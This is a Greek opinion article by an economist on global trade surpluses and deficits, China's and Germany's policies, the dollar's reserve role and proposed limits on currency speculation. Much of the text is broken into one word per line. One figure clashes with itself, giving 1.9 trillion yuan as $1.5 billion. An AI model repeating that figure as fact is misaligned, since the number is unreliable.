Κάτω από τέτοιες πρωτόγνωρες συνθήκες, στις οποίες δεσπόζουν οι ελεύθερα κυμαινόμενες συναλλαγματικές ισοτιμίες, αλλά όχι για τη Κίνα, οι κερδοσκοπικές συναλλαγές

στις
αγορές
χρηματοοικονομικών
προϊόντων
,
το
carry
trade
μέχρι
πρότινος
,
η
πλήρης
ελευθερία
ακόμα
και
στις
βραχυχρόνιες
τοποθετήσεις
κεφαλαίων
,
κάτω
από
αυτές
τις
συνθήκες
,
ο
ετερόδοξος
δυϊσμός
πλεονασματικών
και
ελλειμματικών
χωρών
,
μοιάζει
να
αναπαράγει
με
άλλη
μορφή
,
το
μεταπολεμικό
διπολικό
σύστημα

ανταγωνισμού
.
Με
τη
διαφορά
ότι
αυτή
τη
φορά
οι
ανταγωνιστικοί
οικονομικό
-
πολιτικοί
πόλοι
δεν
είναι
δύο
αλλά
πέντε
.
Δηλαδή
η
Γερμανική
Ευρώπη
,
η
Ιαπωνία
,
οι
ΗΠΑ
,
η
ελλειμματική
Ευρώπη
,
και
οι
λεγόμενες
BRICs
.
Απ
'
τη
δομή
αυτή

της
παγκόσμιας
αρχιτεκτονικής
πηγάζει
και
το
αίτημα
της
Κίνας
και
άλλων
αναδυόμενων
χωρών
,
για
την
μετατροπή
του
παγκόσμιου
νομισματικού
συστήματος
.
Το
δολάριο
δεν
μπορεί
πλέον
να
αποτελεί
το
κύριο
αποθεματικό
νόμισμα
αλλά
θα
πρέπει
να
αντικατασταθεί
από
ένα
καλάθι
νομισμάτων
, (
το
Κευνσιανό
Bancor

)
,
το
οποίο
θα
εγγυάται
μεγαλύτερη
νομισματική
ασφάλεια
.
Ήδη
η
Κίνα
προχωρεί
σε
εντυπωσιακές
κινήσεις
διαφοροποίησης
.
Αύξησε
τα
αποθέματα
της
σε
νοτιοκορεατικό
νόμισμα
από
1,9
τρις
γουάν
($1,5
δις
)
σε
5,2
τρις
.
Ενώ
τα
αποθέματα
της
σε
ευρώ
είναι
αυξημένα
κατά

26%. Πρόσφατα ο αναπληρωτής διοικητής της κεντρικής Τράπεζας Yi Gang, δήλωσε ότι μέσα στα επόμενα 4 -5 χρόνια η Κίνα προτίθεται να μειώσει τα πλεονάσματα στο ισοζύγιο τρεχουσών συναλλαγών κάτω από το 4% του ΑΕΠ αλλά θα πρέπει παράλληλα να μειωθούν και οι κερδοσκοπικές πράξεις.

Πάντως το μερίδιο του δολαρίου στα παγκόσμια αποθέματα έχει μειωθεί από το 71% το 2001 στο 62% το 2009, ενώ του ευρώ από το 28% στο 26%. Αντίθετα κερδίζουν έδαφος το κινεζικό γουάν και το ρωσικό ρούβλι.

Ταυτόχρονα η Κίνα κατηγορεί τις ΗΠΑ πως μόνο από την έκδοση δολαρίων για την εξυπηρέτηση των διεθνών εμπορικών συναλλαγών, οι τελευταίες μειώνουν το χρέος τους κατά 20%.

Θα περίμενε κανείς ότι οι χώρες που αναπτύσσονται με βάση την αύξηση της κατανάλωσης και κυρίως

οι ΗΠΑ, να είχαν αντιδράσει έγκαιρα στη κατάσταση αυτή και βέβαια πριν από το ξέσπασμα της κρίσης. Αυτό όμως δεν έγινε γιατί οι μεγάλοι θεσμικοί όμιλοι που ελέγχουν τις κινήσεις κεφαλαίων, έχουν αναπτύξει μια υπερεθνική συνείδηση, όπως γράφει ο Χάντιγκτον στο «

Ποιοι
Είμαστε
»,
η
οποία
προτάσσει
τα
εταιρικά
τους
συμφέροντα
σε
βάρος
των
εθνικών
.

Οι ΗΠΑ με την **νομισματική επέκταση** που επιχειρούν τώρα, σε καθεστώς ελεύθερα κυμ
αινόμενων
συναλλαγματικών
ισοτιμιών
,
φιλοδοξούν
να
επιφέρουν
αύξηση
της
επενδυτικής
δαπάνης
,
συγκράτηση
του
επιτοκίου
σε
χαμηλά
επίπεδα
,
αύξηση
του
εθνικού
προϊόντος
,
μείωση
του
ελλείμματος

του
ισοζυγίου
αγαθών
και
υπηρεσιών
και
αύξηση
της
απασχόλησης
.
Ταυτόχρονα
δεν
θα
αποφύγουν
επιδείνωση
του
λογαριασμού
κεφαλαίου
και
μείωση
της
αξίας
του
δολαρίου
.
Αυτό
το
μείγμα
πολιτικής
είναι
η
απάντηση
τους
στην
άρνηση
της
Κίνας
να
επιτρέψει
την
ανατίμηση
του
γουάν
και
τη
μείωση

των
πλεονασμάτων
της
.
Η
υποτίμηση
το
δολαρίου
είναι
το
όπλο
για
την
αντιμετώπιση
του
υποτιμημένου
γουάν
και
του
γερμανικού
ευρώ
.

Η περίπτωση της Γερμανίας είναι ανάλογη με εκείνη της Κίνας. Τα πλεονάσματα που εγγρ
άφει
φθάνουν
στο
8%
του
ΑΕΠ
της
.
Αυτό
,
εκ
πρώτης
όψεως
,
μας
κάνει
να
θεωρούμε
τη
γερμανική

οικονομία ιδιαίτερα ισχυρή . Όμως αν αποδεχθούμε το κριτήριο της βελτιστοποίησης της κοινωνικής ευημερίας , τότε η οικονομική ισχύς δεν συμβάλλει στην εκπλήρωση του . Οι πραγματικές αμοιβές της εργασίας έχουν παραμείνει στα ίδια επίπεδα , αν δεν έχουν μειωθεί ελαφρώς , από το 1999. Η

παραγωγικότητα της εργασίας στη Γερμανία δεν είναι η καλύτερη στην ευρωζώνη και βρίσκεται πίσω από την αντίστοιχη της Γαλλίας η οποία όμως εμφανίζει ελλείμματα . Οι πραγματικοί μισθοί μεταξύ του 2001 και 2007 έχουν μειωθεί σε σχέση με την προ ευρώ περίοδο , γεγονός που επέφερε

τη μείωση της συναλλαγματικής ισοτιμίας και την συνακόλουθη αύξηση των εξαγωγών.

Οι επενδύσεις που συντελούνται στο εξωτερικό είναι μεγαλύτερες από τις αντίστοιχες στο εσωτερικό κάτι που εκφράζεται στους ασθενικούς ρυθμούς ανάπτυξης του ΑΕΠ.
Τη τελευταία δεκαετία το πραγματικό ΑΕΠ στην Ευρώπη των 27 έχει αυξηθεί κατά 16,4%, στην ευρωζώνη κατά 14,3%

ενώ στη Γερμανία μόνο κατά 8,7%. Όπως και στη Κίνα , τα επίπεδα εγχώριας κατανάλωσης είναι χαμηλά ενώ σε αντίθετη κατεύθυνση κινούνται εκείνα της αποταμίευσης λόγω της αβεβαιότητας που νιώθουν οι γερμανοί για το μέλλον . Η αύξηση του κατά κεφαλή ΑΕΠ , στη Γερμανία βρίσκεται

στις τελευταίες θέσεις μεταξύ των χωρών της

ευρωζώνης, σωρευτικά τα τελευταία δέκα χρόνια, όπως δείχνει ο ανωτέρω πίνακας.

Σύμφωνα με τα στοιχεία του Παγκόσμιου Οργανισμού Εμπορίου, οι εξαγωγές της Γερμανίας κατά 55% απορροφώνται από τις χώρες της Ε. Ένωσης ενώ το υπόλοιπο 45% απορροφάται από τις χώρες της Ασίας, την Κίνα και τη Ρωσία. Στη προοπτική όμως,

οι εξαγωγές προς την Ασία θα αυξάνονται ενώ προς την Ε. Ένωση θα μειώνονται. Εντυπωσιακό είναι το γεγονός ότι οι χώρες της ευρωπαϊκής περιφέρειας απορροφούν μόνο το 8 - 10% των γερμανικών εξαγωγών, γεγονός που μαρτυρεί και την αβελτηρία της για την διάσωση τους με

την
έκδοση
ευρωομολόγου
ή
με
την
αύξηση
των
κονδυλίων
του
ευρωπαϊκού
μηχανισμού
στήριξης
.

Το συμπέρασμα που προκύπτει είναι πως για να αντιμετωπίσει η Ε. Ένωση τις ασύμμετρες οικονομικές διαταραχές
α
πρέπει
ναι
μεν
να
μειώσει
τη
καταναλωτική
δαπάνη
και
να
αυξήσει
την
επενδυτική
στη
περιφέρεια
αλλά
ταυτόχρονα
θα
πρέπει
να
αυξήσει
την
εγχώρια
κατανάλωση

και να μειώσει την επενδυτική στο εξωτερικό, στη Γερμανία και στις άλλες πλεονασματικές χώρες. Αν θα ήθελε η Ε. Ένωση να επιφέρει σύγκλιση των επιπέδων ανάπτυξης και να αντιμετωπίσει τη κρίση, θα έπρεπε να **προωθήσει μεταρρυθμίσεις και στη περιφέρεια και στο κέντρο**

.
Διαφορετικά
,
δηλαδή
με
την
παγιοποίηση
των
αποκλίσεων
,
μοιάζει
ανέφικτη
και
η
πολιτική
ενοποίηση
και
η
διατήρηση
του
ενιαίου
νομίσματος
.

Όμως η Ευρώπη δεν είναι παρά ένα μέρος του παγκόσμιου συνόλου. Και η κρίση που αντιμ
ετωπίζει
είναι
γραμμική
αντανάκλαση
της
κρίσης
που
αντιμετωπίζει
ο
κόσμος
.
Σ
'
αυτό
το
πλαίσιο
,
δεν
φαίνεται

να υπάρχουν **τοπικές λύσεις σε παγκόσμια προβλήματα**. Για να τελεσφορήσουν οι ευρωπαϊκές πολιτικές αντιμετώπισης της κρίσης, θα πρέπει να συνδυασθούν με ανάλογες πολιτικές σε παγκόσμιο επίπεδο. Είναι ολοφάνερο πλέον πως το παγκόσμιο νομισματικό και πιστωτικό σύστημα χρειάζονται εκτεταμένες επανορθώσεις. Μία απ'

αυτές
θα
πρέπει
να
είναι
η
αλλαγή
στο
σύστημα
των
ελεύθερα
κυμαινόμενων
συναλλαγματικών
ισοτιμιών
.
Θα
πρέπει
δηλαδή
να
τεθούν
όρια
διακυμάνσεων
,
πάνω
και
κάτω
,
των
ισοτιμιών
των
νομισμάτων
ώστε
να
αποθαρρύνεται
η
ξέφρενα
μοχλευμένη
κερδοσκοπία
στις
αγορές
συναλλάγματος
και
να
ενθαρρύνονται
οι
ξένες

άμεσες
επενδύσεις
.
Κάτι
ανάλογο
δηλαδή
με
το
Μηχανισμό
των
συναλλαγματικών
ισοτιμιών
που
θέσπισε
η
Ε
.
Ένωση
κατά
τη
περίοδο
προετοιμασίας
του
ενιαίου
νομίσματος
,
τη
δεκαετία
του
’90.
Μια
άλλη
,
θα
ήταν
η
θέσπιση
ελέγχου
,
με
την
επιβολή
φόρου
,
των
βραχυπρόθεσμων

κινήσεων
κεφαλαίου
στις
διεθνείς
αγορές
ώστε
να
υπονομευθεί
η
κερδοσκοπία
και
ο
αρνητικός
επηρεασμός
των
μακροοικονομικών
πολιτικών
των
κρατών
.
Μια
τρίτη
θα
μπορούσε
να
ήταν
η
αυστηροποίηση
των
ελέγχων
των
δευτερογενών
αγορών
παραγώγων
,
ομολόγων
και
των
σύνθετων
χρηματοπιστωτικών
προϊόντων
,
ώστε
να
διασφαλίζονται
διαυγείς

διαδικασίες και εγγυήσεις ανάληψης κινδύνων. Το δύσκολο μέρος δεν είναι να επεκταθεί ο κατάλογος των μέτρων επανάκτησης ισορροπίας στις αγορές. **Το δύσκολο μέρος** αρχίζει από τότε που αναζητούμε **ένα παγκόσμιο πολιτικό κέντρο** το οποίο θα διαθέτει την εξουσία να πάρει αυτές τις αποφάσεις και

να
τις
εφαρμόσει
.
Θα
είναι
το
G8, το G20, το G2
;
Και
επί
πλέον
η
διαδικασία
ανάδειξης
του
θα
είναι
συγκρουσιακή
ή
θα
είναι
αποτέλεσμα
ειρηνικών
διευθετήσεων
και
συντονισμένων
δράσεων
;

Κουρματζής Θανάσης

Οικονομολόγος / Στατιστικός/ Μελετητής **(thanosko@yahoo.com**)